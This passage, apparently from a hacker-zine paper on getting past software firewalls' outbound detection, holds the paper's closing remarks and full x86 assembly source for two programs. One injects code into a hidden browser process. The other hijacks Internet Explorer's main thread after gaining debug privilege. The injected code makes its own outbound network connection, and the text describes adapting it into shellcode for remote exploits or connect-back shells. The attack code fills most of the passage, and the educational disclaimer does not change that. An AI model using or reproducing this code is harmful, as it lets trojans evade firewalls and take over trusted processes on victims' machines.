a network, it is commonplace to use both software and hardware
firewalls. Moreover, the software firewalls in such networks only
serve the very purpose of protecting the network from backdoor
programs by supplying some sort of outbound detection. And after
all, this protection is obviously too weak.
Apart from the danger for privately used computers, which have
hereby been proven to be insufficiently protected against trojan
horses and worms, exploitation of a remote Windows Workstation
using a software firewall can most definitely involve the use of
methods described in this paper. The ASM code for the two bypass
samples can be transformed into shellcode for any remote Windows
exploit. Once a service a Windows network is found to be
vulnerable to a remote exploit, it would be also possible to
overcome the outbound detection of the respective software
firewall this way.
The sample applications connect to www.phrack.org on port 80,
but you can actually infect a trusted process and have it
do about anything along the lines of providing a shell by
connecting back to your IP.
-[0x09] :: Last Words ----------------------------------------------------
I'd like to emphasize that I am not responsible for anyone using
that sample code with his/her homemade trojan to leech porn from
his friend's PC. Seriously, this is just a sample for educational
purposes, it should not be used for any kind of illegal purpose.
Thanks a lot to Paris2K for helping me with developing and
testing the injector app. Good luck and success with your thesis.
Greets and thanks to drew, cube, the_mystic - and also many
thanks to you, jason ... for all your helpful advice.
If you want or need to contact me:
Email, MSN - rattle@awarenetwork.org
ICQ - 74684282
Website - http://www.awarenetwork.org/
.aware
-[0x0A] :: References ----------------------------------------------------
These are links to projects and papers that have been
referenced somewhere inside this document.
(1) The MSDN library provides Windows programmers with almost
all the reference they need, no doubt about that.
http://msdn.microsoft.com/
(2) Another project that bypasses the outbound detection
of software firewalls. Unfortunately, no source code
is available and it also uses and external DLL:
http://keir.net/firehole.html
(3) LSADUMP2 is the only C source code I found that
illustrates the method of injecting a DLL into another
process' address space:
http://razor.bindview.com/tools/desc/lsadump2_readme.html
(4) Many respect to the LSD research group for their nice
and easy-to-read paper "Win32 Assembly Components":
http://www.lsd-pl.net/documents/winasm-1.0.1.pdf
Perhaps you might want to check out their entire projects
section:
http://lsd-pl.net/projects.html
(5) Negatory Assembly Studio is my favourite x86 ASM IDE,
as far as an IDE for Assembly makes sense at all. You
might need it for the ASM source code provided as I
make use of it's "standard library" for Win32 calls:
http://www.negatory.com/asmstudio/
-[0x0B] :: injector.exe source code --------------------------------------
Here you go, this is the injector ASM code. I used Negatory Assembly
Studio 1.0 to create the executable, a nice freeware IDE for creating
programs in ASM for Windows (5). It internally uses the MASM Assembler
and linker, so you might also manage to use the code with MASM only
(you will be lacking the includes, though).
.386
.MODEL flat, stdcall
INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc
INCLUDE user32.inc
bypass PROTO NEAR STDCALL, browser:DWORD ; injector function
inject PROTO NEAR STDCALL, iBase:DWORD ; injected function
; The PSHS macro is used to push the address of some
; structure onto the stack inside the remote process'
; address space. iBase contains the address where the
; injected code starts.
PSHS MACRO BUFFER
MOV EDX, iBase
ADD EDX, OFFSET BUFFER - inject
PUSH EDX
ENDM
; The LPROC macro assumes that pGetProcAddress holds
; the address of the GetProcAddress() API call and
; simulates its behaviour. PROCNAME is a string inside
; the injected code that holds the function name and
; PROCADDR is a DWORD variable inside the injected
; code that will retrieve the address of that function.
; BASEDLL, as the name suggests, should hold the
; base address of the appropriate DLL.
LPROC MACRO BASEDLL, PROCNAME, PROCADDR
PSHS PROCNAME
PUSH BASEDLL
CALL pGetProcAddress
EJUMP INJECT_ERROR
MOV PROCADDR, EAX
ENDM
EJUMP MACRO TARGET_CODE ; jump when EAX is 0.
CMP EAX, 0
JE TARGET_CODE
ENDM
.DATA
sFail DB "Injection failed.",0
sCapFail DB "Failure",0
REG_BROWSER_SUBKEY DB "htmlfile\shell\open\command",0
REG_BROWSER_KEY DD ?
BROWSER DB MAX_PATH DUP(0)
BR_SIZE DD MAX_PATH
FUNCSZE EQU inject_end - inject
.CODE
Main: ; We retrieve the defaul browser path from the
; registry by querying HKCR\htmlfile\shell\open\command
INVOKE RegOpenKey, HKEY_CLASSES_ROOT, \
ADDR REG_BROWSER_SUBKEY, ADDR REG_BROWSER_KEY
CMP EAX, ERROR_SUCCESS
JNE RR
INVOKE RegQueryValue, REG_BROWSER_KEY, \
EAX, ADDR BROWSER, ADDR BR_SIZE
INVOKE RegCloseKey, REG_BROWSER_KEY
; Now we call the bypass function by supplying the
; path to the browser as the first argument.
INVOKE bypass, OFFSET BROWSER
RR: INVOKE ExitProcess, 0
bypass PROC NEAR STDCALL, browser:DWORD
LOCAL sinf :STARTUPINFO
LOCAL pinf :PROCESS_INFORMATION
LOCAL dwReturn :DWORD ; return value
LOCAL dwRemoteThreadID :DWORD ; thread ID
LOCAL thRemoteThreadHandle :DWORD ; thread handle
LOCAL pbRemoteMemory :DWORD ; base address
; Get our own startupinfo details out of lazieness
; and alter the wShowWindow attribute to SW_HIDE
INVOKE GetStartupInfo,ADDR sinf
MOV sinf.wShowWindow, SW_HIDE
; Create the brwoser process and WaitForinputIdle()
; to give it some time for initialization
INVOKE CreateProcess,0,browser,0,0,0,0,0,0, \
ADDR sinf,ADDR pinf
EJUMP ERR_CLEAN
INVOKE WaitForInputIdle, pinf.hProcess, 10000
CMP EAX,0
JNE ERR_CLEAN
MOV EBX, pinf.hProcess
MOV ECX, pinf.hThread
; Allocate memory in the remote process' address
; space and use WriteProcessMemory() to copy the
; code of the inject procedure.
MOV EDX, FUNCSZE
INVOKE VirtualAllocEx,EBX,0,EDX,MEM_COMMIT, \
PAGE_EXECUTE_READWRITE
EJUMP ERR_SUCC
MOV pbRemoteMemory,EAX
MOV EDX,FUNCSZE
INVOKE WriteProcessMemory,EBX,pbRemoteMemory, \
inject, EDX, 0
EJUMP ERR_CLEAN_VF
; The code has been copied, create a thread that
; starts at the remote address
INVOKE CreateRemoteThread,EBX,0,0,pbRemoteMemory, \
pbRemoteMemory, 0, ADDR dwRemoteThreadID
EJUMP ERR_CLEAN_TH
MOV thRemoteThreadHandle,EAX
MOV dwReturn,0
; Wait until the remote thread terminates and see what the
; return value looks like. The inject procedure will return
; a boolean value in EAX, indicating whether or not it was
; successful.
INVOKE WaitForSingleObject,thRemoteThreadHandle,INFINITE
INVOKE GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn
; If the return value equals 0, an error has occured and we
; will display a failure MessageBox()
CMP dwReturn, 0
JNE ERR_CLEAN_TH
INVOKE MessageBox, 0, OFFSET sFail, OFFSET sCapFail, 16
ERR_CLEAN_TH:
INVOKE CloseHandle,thRemoteThreadHandle
ERR_CLEAN_VF:
INVOKE VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE
ERR_CLEAN:
INVOKE TerminateProcess, EBX, 0
INVOKE CloseHandle,pinf.hThread
INVOKE CloseHandle,pinf.hProcess
ERR_SUCC:
RET
bypass ENDP
inject PROC NEAR STDCALL, iBase:DWORD
LOCAL k32base :DWORD
LOCAL expbase :DWORD
LOCAL forwards :DWORD
LOCAL pGetProcAddress :DWORD
LOCAL pGetModuleHandle :DWORD
LOCAL pLoadLibrary :DWORD
LOCAL pFreeLibrary :DWORD
LOCAL pMessageBox :DWORD
LOCAL u32base :DWORD
LOCAL ws32base :DWORD
LOCAL pWSAStartup :DWORD
LOCAL pWSACleanup :DWORD
LOCAL pSocket :DWORD
LOCAL pConnect :DWORD
LOCAL pSend :DWORD
LOCAL pRecv :DWORD
LOCAL pClose :DWORD
JMP IG
sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary DB "LoadLibraryA" ,0
sFreeLibrary DB "FreeLibrary" ,0
sUser32 DB "USER32.DLL" ,0
sMessageBox DB "MessageBoxA" ,0
sGLA DB "GetLastError" ,0
sWLA DB "WSAGetLastError" ,0
sWS2_32 DB "ws2_32.dll" ,0
sWSAStartup DB "WSAStartup" ,0
sWSACleanup DB "WSACleanup" ,0
sSocket DB "socket" ,0
sConnect DB "connect" ,0
sSend DB "send" ,0
sRecv DB "recv" ,0
sClose DB "closesocket" ,0
wsa LABEL BYTE
wVersion DW 0
wHighVersion DW 0
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
iMaxSockets DW 0
iMaxUdpDg DW 0
lpVendorInfo DD 0
sAddr LABEL BYTE
sin_family DW AF_INET
sin_port DW 05000H
sin_addr DD 006EE3745H
sin_zero DQ 0
sStartC DB "SetUp Complete",0
sStart DB "Injector SetUp complete. ", \
"Sending request:",13,10,13,10
sRequ DB "GET / HTTP/1.0",13,10, \
"Host: www.phrack.org",\
13,10,13,10,0
sCap DB "Injection successful",0
sRepl DB 601 DUP(0)
IG: ASSUME FS:NOTHING ; This is a MASM error bypass.
MOV EAX, FS:[030H] ; Get the Process Environment Block
TEST EAX, EAX ; Check for Win9X
JS W9X
WNT: MOV EAX, [EAX+00CH] ; WinNT: get PROCESS_MODULE_INFO
MOV ESI, [EAX+01CH] ; Get fLink from ordered module list
LODSD ; Load the address of bLink into eax
MOV EAX, [EAX+008H] ; Copy the module base from the list
JMP K32 ; Work done
W9X: MOV EAX, [EAX+034H] ; Undocumented offset (0x34)
LEA EAX, [EAX+07CH] ; ...
MOV EAX, [EAX+03CH] ; ...
K32: MOV k32base,EAX ; Keep a copy of the base address
MOV pGetProcAddress, 0 ; now search for GetProcAddress
MOV forwards,0 ; Set the forwards to 0 initially
MOV pWSACleanup, 0 ; we will need these for error -
MOV ws32base, 0 ; checks lateron
ADD EAX,[EAX+03CH] ; pointer to IMAGE_NT_HEADERS
MOV EAX,[EAX+078H] ; RVA of exports directory
ADD EAX,k32base ; since RVA: add the base address
MOV expbase,EAX ; IMAGE_EXPORTS_DIRECTORY
MOV EAX,[EAX+020H] ; RVA of the AddressOfNames array
ADD EAX,k32base ; add the base address
MOV ECX,[EAX] ; ECX: RVA of the first string
ADD ECX,k32base ; add the base address
MOV EAX,0 ; EAX will serve as a counter
JMP M2 ; start looping
M1: INC EAX ; Increase EAX every loop
M2: MOV EBX, 0 ; EBX will be the calculated hash
HASH: MOV EDX, EBX
SHL EBX, 05H
SHR EDX, 01BH
OR EBX, EDX
MOV EDX, 0
MOV DL, [ECX] ; Copy current character to DL
ADD EBX, EDX ; and add DL to the hash value
INC ECX ; increase the string pointer
MOV DL, [ECX] ; next character in DL, now:
CMP EDX, 0 ; check for null character
JNE HASH
; This is where we take care of the forwarders.
; we will always subtract the number of forwarders
; that already occured from our iterator (EAX) to
; retrieve the appropriate offset from the second
; array.
PUSH EAX ; Safe EAX to the stack
SUB EAX,forwards ; Subtract forwards
IMUL EAX,4 ; addresses are DWORD's
INC ECX ; Move the ECX pointer to the
; beginning of the next name
MOV EDX, expbase ; Load exports directory
MOV EDX, [EDX+01CH] ; EDX: array of entry points
ADD EDX, k32base ; add the base address
MOV EDX, [EDX+EAX] ; Lookup the Function RVA
ADD EDX, k32base ; add the base address
MOV pGetProcAddress, EDX ; This will be correct once
; the loop is finished.
; Second stage of our forwarder check: If the
; "entry point" of this function points to the
; next string in array #1, we just found a forwarder.
CMP EDX, ECX ; forwarder check
JNE FWD ; ignore normal entry points
INC forwards ; This was a forwarder
FWD: POP EAX ; Restore EAX iterator
CMP EBX, 099C95590H ; hash value for "GetProcAddress"
JNE M1
; We have everything we wanted. I use a simple macro
; to load the functions by applying pGetProcAddress.
LPROC k32base, sGetModuleHandle, pGetModuleHandle
LPROC k32base, sLoadLibrary, pLoadLibrary
LPROC k32base, sFreeLibrary, pFreeLibrary
PSHS sUser32 ; we need user32.dll
CALL pGetModuleHandle ; assume it is already loaded
EJUMP INJECT_ERROR ; (we could use LoadLibrary)
MOV u32base,EAX ; got it
PSHS sWS2_32 ; most important: winsock DLL
CALL pLoadLibrary ; LoadLibrary("ws2_32.dll");
EJUMP INJECT_ERROR
MOV ws32base, EAX
LPROC u32base,sMessageBox,pMessageBox
LPROC ws32base,sWSAStartup,pWSAStartup
LPROC ws32base,sWSACleanup,pWSACleanup
LPROC ws32base,sSocket,pSocket
LPROC ws32base,sConnect,pConnect
LPROC ws32base,sSend,pSend
LPROC ws32base,sRecv,pRecv
LPROC ws32base,sClose,pClose
PSHS wsa ; see our artificial data segment
PUSH 2 ; Version 2 is fine
CALL pWSAStartup ; Do the WSAStartup()
CMP EAX, 0
JNE INJECT_ERROR
PUSH 0
PUSH SOCK_STREAM ; A normal stream oriented socket
PUSH AF_INET ; for Internet connections.
CALL pSocket ; Create it.
CMP EAX, INVALID_SOCKET
JE INJECT_ERROR
MOV EBX,EAX
PUSH SIZEOF sockaddr ; Connect to www.phrack.org:80
PSHS sAddr ; hardcoded structure
PUSH EBX ; that's our socket descriptor
CALL pConnect ; connect() to phrack.org
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR
PUSH 0 ; no flags
PUSH 028H ; 40 bytes to send
PSHS sRequ ; the GET string
PUSH EBX ; socket descriptor
CALL pSend ; send() HTTP request
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR
; We now have to receive the server's reply. We only
; want the HTTP header to display it in a message box
; as an indicator for a successful bypass.
MOV ECX, 0 ; number of bytes received
PP: MOV EDX, iBase
ADD EDX, OFFSET sRepl-inject
ADD EDX, ECX ; EDX is the current position inside
; the string buffer
PUSH EDX
PUSH ECX
PUSH 0 ; no flags
PUSH 1 ; one byte to receive
PUSH EDX ; string buffer
PUSH EBX ; socket descriptor
CALL pRecv ; recv() the byte
POP ECX
POP EDX
CMP AL, 1 ; one byte received ?
JNE PPE ; an error occured
CMP ECX,2 ; check if we already received
JS PP2 ; more than 2 bytes
MOV AL, [EDX] ; this is the byte we got
CMP AL, [EDX-2] ; we are looking for <CRLF><CRLF>
JNE PP2
CMP AL, 10 ; we found it, most probably.
JE PPE ; we only want the headers.
PP2: INC ECX
CMP ECX,600 ; 600 byte maximum buffer size
JNE PP
PPE: PUSH EBX ; socket descriptor
CALL pClose ; close the socket
PUSH 64 ; neat info icon and an ok button
PSHS sCap ; the caption string
PSHS sRepl ; www.phrack.org's HTTP header
PUSH 0
CALL pMessageBox ; display the message box.
JMP INJECT_SUCCESS ; we were successful.
INJECT_SUCCESS:
MOV EAX, 1 ; return values are passed in EAX
JMP INJECT_CLEANUP
INJECT_ERROR:
MOV EAX, 0 ; boolean return value (success)
INJECT_CLEANUP:
PUSH EAX ; save our return value
CMP pWSACleanup,0
JE INJECT_DONE
CALL pWSACleanup ; perform cleanup
CMP ws32base, 0 ; check if we have loaded ws2_32
JE INJECT_DONE
PUSH ws32base
CALL pFreeLibrary ; release ws2_32.dll
INJECT_DONE:
POP EAX ; retore the return value
RET ; and return
inject ENDP
inject_end: END Main
-[0x0C] :: tiny.exe source code ------------------------------------------
This is the ASM source code for the second bypass program.
.386
.MODEL flat, stdcall
INCLUDE windows.inc
INCLUDE kernel32.inc
INCLUDE advapi32.inc
bypass PROTO ; Tiny Firewall Bypass
inject PROTO, iBase:DWORD ; injected function
getsvc PROTO, pProcessInfo:DWORD ; finds running, trusted process
getdbg PROTO ; enables the SE_DEBUG privilege
; The PSHS macro is used to push the address of some
; structure onto the stack inside the remote process'
; address space. iBase contains the address where the
; injected code starts.
PSHS MACRO BUFFER
MOV EDX, iBase
ADD EDX, OFFSET BUFFER - inject
PUSH EDX
ENDM
; The LPROC macro assumes that pGetProcAddress holds
; the address of the GetProcAddress() API call and
; simulates its behaviour. PROCNAME is a string inside
; the injected code that holds the function name and
; PROCADDR is a DWORD variable inside the injected
; code that will retrieve the address of that function.
; BASEDLL, as the name suggests, should hold the
; base address of the appropriate DLL.
LPROC MACRO BASEDLL, PROCNAME, PROCADDR
PSHS PROCNAME
PUSH BASEDLL
CALL pGetProcAddress
EJUMP INJECT_ERROR
MOV PROCADDR, EAX
ENDM
EJUMP MACRO TARGET_CODE ; jump when EAX is 0.
CMP EAX, 0
JE TARGET_CODE
ENDM
.DATA
; This is the name of a trusted process to search for.
; If you know what you are doing, you can play with
; if and see whether other applications work with the
; current code (aka hijack primary thread).
; "OUTLOOK.EXE" works as well btw.
TRUSTED DB "IEXPLORE.EXE",0
SE_DEBUG DB "SeDebugPrivilege",0 ; debug privilege
IEV_NAME DB "TINY0",0 ; our event name
IEV_HANDLE DD ? ; event handle
FUNCSZE EQU iend-istart ; inject's size
CODESZE EQU 19 ; size of our "shellcode"
ALLSZE EQU FUNCSZE + CODESZE ; complete size
FUNCADDR EQU istart ; offset of inject
; JUMPDIFF is the number of bytes from the beginning of
; the shellcode to the jump instruction. It is required
; to calculate the value of JUMP_ADDR, see below.
JUMPDIFF EQU 14
; This "shellcode" will be injected to the trusted
; process directly in fron of the injector procedure
; itself. It will simply call the injector function
; with its base address as the first argument and
; jump back to the address where we hijacked the
; thread afterwards. The addresses of our injected
; function (PUSH_ADDR) and the original EIP of the
; hijacked thread (JUMP_ADDR) will be calculated
; at runtime, of course.
SHELLCODE LABEL BYTE
PUSHAD_CODE DB 060H ; PUSHAD
PUSHFD_CODE DB 09CH ; PUSHFD
PUSH_CODE DB 068H ; PUSH <function address>
PUSH_ADDR DD ?
CALL_CODE DB 0E8H ; CALL <function address>
CALL_ADDR DD 07H
POPFD_CODE DB 09DH ; POPFD
POPAD_CODE DB 061H ; POPAD
JUMP_CODE DB 0E9H ; JUMP <original EIP>
JUMP_ADDR DD ?
; <injector function>
; ...
.CODE
Main: ; not much to do except calling
; the bypass function in this sample.
INVOKE bypass
INVOKE ExitProcess, 0
getdbg PROC ; enables the SE_DEBUG privilege for ourself
LOCAL token:HANDLE
LOCAL priv:TOKEN_PRIVILEGES
LOCAL luid:LUID
INVOKE LookupPrivilegeValue, 0,OFFSET SE_DEBUG, ADDR luid
EJUMP DBE0
MOV priv.PrivilegeCount, 01H
MOV priv.Privileges.Attributes, 02H
MOV EAX,luid.LowPart
MOV priv.Privileges.Luid.LowPart,EAX
MOV EAX,luid.HighPart
MOV priv.Privileges.Luid.HighPart,EAX
INVOKE GetCurrentProcess
MOV ECX,EAX
INVOKE OpenProcessToken,ECX,020H, ADDR token
MOV ECX, token
CMP ECX, 0
JE DBE0
INVOKE AdjustTokenPrivileges,ECX,0,ADDR priv,0,0,0
MOV ECX,EAX
INVOKE CloseHandle, token
MOV EAX,ECX
DBE0: RET
getdbg ENDP
getsvc PROC, pProcessInfo:DWORD
; This function fills a PROCESS_INFORMATION
; structure with the ID and handle of the
; required trusted process and its primary
; thread. The tool helper API is used to
; retrieve this information.
LOCAL p32:PROCESSENTRY32
LOCAL t32:THREADENTRY32
LOCAL hShot:DWORD
MOV p32.dwSize, SIZEOF PROCESSENTRY32
MOV t32.dwSize, SIZEOF THREADENTRY32
INVOKE getdbg ; we need SE_DEBUG first
; Create a snapshot of all processes and
; threads. 06H is the appropriate bitmask
; for this purpose, look it up if you
; dont trust me.
INVOKE CreateToolhelp32Snapshot,06H,0
MOV hShot,EAX
; Start to search for the trusted process.
; We will compare the name of the process'
; primary module with the string buffer
; TRUSTED until we find a match.
INVOKE Process32First, hShot, ADDR p32
CMP EAX, 0
JE GSE1
GSL: LEA EDX, p32.szExeFile
INVOKE lstrcmpi, EDX, OFFSET TRUSTED
CMP EAX, 0 ; lstrcmpi is not case sensitive!
JE GSL1 ; good, we found the process
INVOKE Process32Next, hShot, ADDR p32
CMP EAX, 0 ; no more processes,
JE GSE1 ; no success
JMP GSL ; otherwise, continue loop
; We have found an instance of the trusted
; process, continue to retrieve information
; about its primary thread and gain an open
; handle to both the process itself and the
; thread. To find the thread, we have to
; loop through all thread entries in our
; snapshot until we discover a thread that
; has been created by the process we found.
GSL1: INVOKE Thread32First, hShot, ADDR t32
MOV EBX, 0
TSL: MOV EDX, t32.th32OwnerProcessID
CMP EDX, p32.th32ProcessID
JE TSL0
INVOKE Thread32Next, hShot, ADDR t32
CMP EAX, 0 ; no more threads (weird),
JE GSE1 ; no success
JMP TSL ; otherwise, continue loop
; Now, since we have got the ID's of both
; the process itself and the primary thread,
; use OpenProcess() and OpenThread() to
; get a handle to both of them. You are right,
; OpenThread is NOT a documented call, but
; it looks like that was rather an accident.
; It is exported by kernel32.dll just like
; OpenProcess().
TSL0: MOV EDX, pProcessInfo ; the structure address
MOV EAX,p32.th32ProcessID ; copy the process ID
MOV [EDX+08H], EAX
MOV EAX, t32.th32ThreadID ; copy the thread ID
MOV [EDX+0CH], EAX
PUSH EDX ; safe the address
INVOKE OpenProcess, PROCESS_ALL_ACCESS, \
0, p32.th32ProcessID
CMP EAX, 0
JE GSE1
MOV EBX, EAX
INVOKE OpenThread, THREAD_ALL_ACCESS, 0, \
t32.th32ThreadID
CMP EAX, 0
JE GSE1
POP EDX ; restore the address
MOV [EDX], EBX ; copy the process handle
MOV [EDX+04H], EAX ; copy the thread handle
PUSH 1 ; success
JMP GSE0
GSE1: PUSH 0 ; failure
GSE0: CMP hShot, 0
JE GSE
INVOKE CloseHandle, hShot ; cleanup
GSE: POP EAX ; pop the return value to EAX
RET ; that's it.
getsvc ENDP
istart:
inject PROC, iBase:DWORD
LOCAL k32base :DWORD
LOCAL expbase :DWORD
LOCAL forwards :DWORD
LOCAL pGetProcAddress :DWORD
LOCAL pGetModuleHandle :DWORD
LOCAL pLoadLibrary :DWORD
LOCAL pFreeLibrary :DWORD
LOCAL pOpenEvent :DWORD
LOCAL pCloseHandle :DWORD
LOCAL pSetEvent :DWORD
LOCAL pMessageBox :DWORD
LOCAL u32base :DWORD
LOCAL ws32base :DWORD
LOCAL pWSAStartup :DWORD
LOCAL pWSACleanup :DWORD
LOCAL pSocket :DWORD
LOCAL pConnect :DWORD
LOCAL pSend :DWORD
LOCAL pRecv :DWORD
LOCAL pClose :DWORD
JMP IG
sGetModuleHandle DB "GetModuleHandleA" ,0
sLoadLibrary DB "LoadLibraryA" ,0
sFreeLibrary DB "FreeLibrary" ,0
sOpenEvent DB "OpenEventA" ,0
sCloseHandle DB "CloseHandle" ,0
sSetEvent DB "SetEvent" ,0
sFWPEVENT DB "TINY0" ,0
sUser32 DB "USER32.DLL" ,0
sMessageBox DB "MessageBoxA" ,0
sGLA DB "GetLastError" ,0
sWLA DB "WSAGetLastError" ,0
sWS2_32 DB "ws2_32.dll" ,0
sWSAStartup DB "WSAStartup" ,0
sWSACleanup DB "WSACleanup" ,0
sSocket DB "socket" ,0
sConnect DB "connect" ,0
sSend DB "send" ,0
sRecv DB "recv" ,0
sClose DB "closesocket" ,0
wsa LABEL BYTE
wVersion DW 0
wHighVersion DW 0
szDescription DB WSADESCRIPTION_LEN+1 DUP(0)
szSystemStatus DB WSASYS_STATUS_LEN+1 DUP(0)
iMaxSockets DW 0
iMaxUdpDg DW 0
lpVendorInfo DD 0
sAddr LABEL BYTE
sin_family DW AF_INET
sin_port DW 05000H
sin_addr DD 006EE3745H
sin_zero DQ 0
sStartC DB "SetUp Complete",0
sStart DB "Injector SetUp complete. ", \
"Sending request:",13,10,13,10
sRequ DB "GET / HTTP/1.0",13,10, \
"Host: www.phrack.org",\
13,10,13,10,0
sCap DB "Injection successful",0
sRepl DB 601 DUP(0)
IG: ASSUME FS:NOTHING ; This is a MASM error bypass.
MOV EAX, FS:[030H] ; Get the Process Environment Block
TEST EAX, EAX ; Check for Win9X
JS W9X
WNT: MOV EAX, [EAX+00CH] ; WinNT: get PROCESS_MODULE_INFO
MOV ESI, [EAX+01CH] ; Get fLink from ordered module list
LODSD ; Load the address of bLink into eax
MOV EAX, [EAX+008H] ; Copy the module base from the list
JMP K32 ; Work done
W9X: MOV EAX, [EAX+034H] ; Undocumented offset (0x34)
LEA EAX, [EAX+07CH] ; ...
MOV EAX, [EAX+03CH] ; ...
K32: MOV k32base,EAX ; Keep a copy of the base address
MOV pGetProcAddress, 0 ; now search for GetProcAddress
MOV forwards,0 ; Set the forwards to 0 initially
MOV pWSACleanup, 0 ; we will need these for error -
MOV ws32base, 0 ; checks lateron
MOV pOpenEvent, 0
ADD EAX,[EAX+03CH] ; pointer to IMAGE_NT_HEADERS
MOV EAX,[EAX+078H] ; RVA of exports directory
ADD EAX,k32base ; since RVA: add the base address
MOV expbase,EAX ; IMAGE_EXPORTS_DIRECTORY
MOV EAX,[EAX+020H] ; RVA of the AddressOfNames array
ADD EAX,k32base ; add the base address
MOV ECX,[EAX] ; ECX: RVA of the first string
ADD ECX,k32base ; add the base address
MOV EAX,0 ; EAX will serve as a counter
JMP M2 ; start looping
M1: INC EAX ; Increase EAX every loop
M2: MOV EBX, 0 ; EBX will be the calculated hash
HASH: MOV EDX, EBX
SHL EBX, 05H
SHR EDX, 01BH
OR EBX, EDX
MOV EDX, 0
MOV DL, [ECX] ; Copy current character to DL
ADD EBX, EDX ; and add DL to the hash value
INC ECX ; increase the string pointer
MOV DL, [ECX] ; next character in DL, now:
CMP EDX, 0 ; check for null character
JNE HASH
; This is where we take care of the forwarders.
; we will always subtract the number of forwarders
; that already occured from our iterator (EAX) to
; retrieve the appropriate offset from the second
; array.
PUSH EAX ; Safe EAX to the stack
SUB EAX,forwards ; Subtract forwards
IMUL EAX,4 ; addresses are DWORD's
INC ECX ; Move the ECX pointer to the
; beginning of the next name
MOV EDX, expbase ; Load exports directory
MOV EDX, [EDX+01CH] ; EDX: array of entry points
ADD EDX, k32base ; add the base address
MOV EDX, [EDX+EAX] ; Lookup the Function RVA
ADD EDX, k32base ; add the base address
MOV pGetProcAddress, EDX ; This will be correct once
; the loop is finished.
; Second stage of our forwarder check: If the
; "entry point" of this function points to the
; next string in array #1, we just found a forwarder.
CMP EDX, ECX ; forwarder check
JNE FWD ; ignore normal entry points
INC forwards ; This was a forwarder
FWD: POP EAX ; Restore EAX iterator
CMP EBX, 099C95590H ; hash value for "GetProcAddress"
JNE M1
; We have everything we wanted. I use a simple macro
; to load the functions by applying pGetProcAddress.
LPROC k32base, sGetModuleHandle, pGetModuleHandle
LPROC k32base, sLoadLibrary, pLoadLibrary
LPROC k32base, sFreeLibrary, pFreeLibrary
LPROC k32base, sOpenEvent, pOpenEvent
LPROC k32base, sCloseHandle, pCloseHandle
LPROC k32base, sSetEvent, pSetEvent
PSHS sUser32 ; we need user32.dll
CALL pGetModuleHandle ; assume it is already loaded
EJUMP INJECT_ERROR ; (we could use LoadLibrary)
MOV u32base,EAX ; got it
PSHS sWS2_32 ; most important: winsock DLL
CALL pLoadLibrary ; LoadLibrary("ws2_32.dll");
EJUMP INJECT_ERROR
MOV ws32base, EAX
LPROC u32base,sMessageBox,pMessageBox
LPROC ws32base,sWSAStartup,pWSAStartup
LPROC ws32base,sWSACleanup,pWSACleanup
LPROC ws32base,sSocket,pSocket
LPROC ws32base,sConnect,pConnect
LPROC ws32base,sSend,pSend
LPROC ws32base,sRecv,pRecv
LPROC ws32base,sClose,pClose
PSHS wsa ; see our artificial data segment
PUSH 2 ; Version 2 is fine
CALL pWSAStartup ; Do the WSAStartup()
CMP EAX, 0
JNE INJECT_ERROR
PUSH 0
PUSH SOCK_STREAM ; A normal stream oriented socket
PUSH AF_INET ; for Internet connections.
CALL pSocket ; Create it.
CMP EAX, INVALID_SOCKET
JE INJECT_ERROR
MOV EBX,EAX
PUSH SIZEOF sockaddr ; Connect to www.phrack.org:80
PSHS sAddr ; hardcoded structure
PUSH EBX ; that's our socket descriptor
CALL pConnect ; connect() to phrack.org
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR
PUSH 0 ; no flags
PUSH 028H ; 40 bytes to send
PSHS sRequ ; the GET string
PUSH EBX ; socket descriptor
CALL pSend ; send() HTTP request
CMP EAX, SOCKET_ERROR
JE INJECT_ERROR
; We now have to receive the server's reply. We only
; want the HTTP header to display it in a message box
; as an indicator for a successful bypass.
MOV ECX, 0 ; number of bytes received
PP: MOV EDX, iBase
ADD EDX, OFFSET sRepl-inject
ADD EDX, ECX ; EDX is the current position inside
; the string buffer
PUSH EDX
PUSH ECX
PUSH 0 ; no flags
PUSH 1 ; one byte to receive
PUSH EDX ; string buffer
PUSH EBX ; socket descriptor
CALL pRecv ; recv() the byte
POP ECX
POP EDX
CMP AL, 1 ; one byte received ?
JNE PPE ; an error occured
CMP ECX,2 ; check if we already received
JS PP2 ; more than 2 bytes
MOV AL, [EDX] ; this is the byte we got
CMP AL, [EDX-2] ; we are looking for <CRLF><CRLF>
JNE PP2
CMP AL, 10 ; we found it, most probably.
JE PPE ; we only want the headers.
PP2: INC ECX
CMP ECX,600 ; 600 byte maximum buffer size
JNE PP
PPE: PUSH EBX ; socket descriptor
CALL pClose ; close the socket
PUSH 64 ; neat info icon and an ok button
PSHS sCap ; the caption string
PSHS sRepl ; www.phrack.org's HTTP header
PUSH 0
CALL pMessageBox ; display the message box.
JMP INJECT_SUCCESS ; we were successful.
INJECT_SUCCESS:
PUSH 1 ; return success
JMP INJECT_CLEANUP
INJECT_ERROR:
PUSH 0 ; return failure
INJECT_CLEANUP:
PUSH EAX ; save our return value
CMP pWSACleanup,0
JE INJECT_DONE
CALL pWSACleanup ; perform cleanup
CMP ws32base, 0 ; check if we have loaded ws2_32
JE INJECT_DONE
PUSH ws32base
CALL pFreeLibrary ; release ws2_32.dll
; the following code is the only real difference
; to the code in sample #1. It is used to signal
; an event with the name "TINY0" so that the
; injector executable knows when this code has
; done its job.
CMP pOpenEvent, 0
JE INJECT_DONE
PSHS sFWPEVENT ; "TINY0"
PUSH 0 ; not inheritable
PUSH EVENT_ALL_ACCESS ; whatever
CALL pOpenEvent ; open the event
CMP EAX, 0
JE INJECT_DONE
MOV EBX, EAX
PUSH EBX
CALL pSetEvent ; signal the event
PUSH EBX
CALL pCloseHandle ; close the handle
INJECT_DONE:
POP EAX
RET ; and return
inject ENDP
iend:
bypass PROC
LOCAL pinf :PROCESS_INFORMATION
LOCAL mct :CONTEXT
LOCAL dwReturn :DWORD ; return value
LOCAL dwRemoteThreadID :DWORD ; remote thread ID
LOCAL pbRemoteMemory :DWORD ; remote base address
MOV pinf.hProcess, 0
MOV pinf.hThread, 0
; First of all, creat the even that we need to get
; informed about the progress of our injected code.
INVOKE CreateEvent, 0, 1, 0, OFFSET IEV_NAME
